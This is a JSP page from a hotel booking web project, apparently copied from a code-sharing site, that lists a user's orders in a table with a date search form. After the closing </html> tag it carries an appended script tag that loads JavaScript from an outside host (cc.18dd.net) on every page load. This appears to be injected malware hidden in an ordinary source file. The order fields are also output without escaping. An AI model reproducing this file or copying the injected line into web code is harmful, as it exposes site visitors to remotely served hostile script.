lookorder.jsp

来自「用户的注册 用户的登陆 发布用户的相关信息 浏览网站介绍的其他酒店的」· JSP 代码 · 共 114 行

JSP
114
字号
<%@ page contentType="text/html; charset=gb2312" %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %>
<html>
<head>
<title>
查看订单
</title>
<link href="css/hotel.css" rel="stylesheet">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<style type="text/css">
<!--
.STYLE3 {font-size: 36px}
-->
</style>
</head>
<body bgcolor="#ffffff">
<table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><jsp:include  page="topEnterPrise.jsp"/></td>
  </tr>
  <tr>
    <td><table width="760" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td height="13" colspan="3">&nbsp;</td>
      </tr>
      <tr>
        <td width="2" height="24">&nbsp;</td>
        <td width="756"><jsp:include flush="" page="bannerenter.jsp"/></td>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td height="10" colspan="3">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="3"><table width="760" border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td width="2" height="366">&nbsp;</td>
            <td valign="top"><table width="756" border="0" cellpadding="0" cellspacing="0">
              <tr>
                <td width="207" height="363" valign="top"><jsp:include flush="true" page="leftenter.jsp"/></td>
                <td valign="top"><form name="form1" method="post" action="lorderenter.html">
                  <table width="100%" height="330" border="0" cellpadding="0" cellspacing="0">
                    <tr>
                      <td height="25" align="center">查看订单</td>
                    </tr>
                    <tr>
                      <td height="25" align="center"><table width="100%" border="0" cellpadding="0" cellspacing="0">
                          <tr>
                            <td height="25" align="center"><label>日期:</label>                              <label>
                              <input name="time" type="text" id="time" class="inpu" size="20">
                              </label>                              <label>
                              <input type="submit" class="btn_grey" name="Submit" value="查询" />
                              </label></td>
                            </tr>
                      </table></td>
                    </tr>
                    <tr>
                      <td height="280" valign="top"><table width="100%" border="0" cellpadding="0" cellspacing="0">
                          <tr>
                            <td width="20" height="275">&nbsp;</td>
                            <td valign="top"><table width="100%"  class="tableBorder_LTR_dashed"border="0" cellpadding="0" cellspacing="0">
                                <tr>
                                  <td width="15%" height="26" align="center">订单编号</td>
                                  <td width="10%" align="center">房间号</td>
                                  <td width="20%" align="center">房间类型</td>
                                  <td width="15%" align="center">订单人</td>
                                  <td width="40%" align="center">订单时间</td>
                                </tr>
                                <c:forEach var="order" items="${requestScope.list}">
                                  <c:if test="${!empty order}">
                                    <c:set var="tag" value="true" scope="page"/>
                                  </c:if>
                                  <tr>
                                    <td width="10%" height="26" align="center"><a href="enterorder.html?id=${order.id}&enter=${order.enterprise}&eid=${order.eid}">${order.id}</a></td>
                                    <td width="10%" align="center">${order.rid}</td>
                                    <td width="20%" align="center">${order.type}</td>
                                    <td width="20%" align="center">${order.user}</td>
                                    <td width="40%" align="center">${order.orderTime}</td>
                                  </tr>
                                </c:forEach>
                                <c:choose>
                                  <c:when test="${pageScope.tag==true}">
                                    <tr>
                                      <td height="26" colspan="5" align="center">${requestScope.str}</td>
                                    </tr>
                                  </c:when>
                                  <c:otherwise>
                                    <tr>
                                      <td height="26" colspan="5" align="center">没有任何记录</td>
                                    </tr>
                                  </c:otherwise>
                                </c:choose>
                            </table></td>
                          </tr>
                      </table></td>
                    </tr>
                  </table>
                                </form>                </td>
              </tr>
            </table></td>
            <td width="2">&nbsp;</td>
          </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td><jsp:include  page="Copyright.jsp"/></td>
  </tr>
</table>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?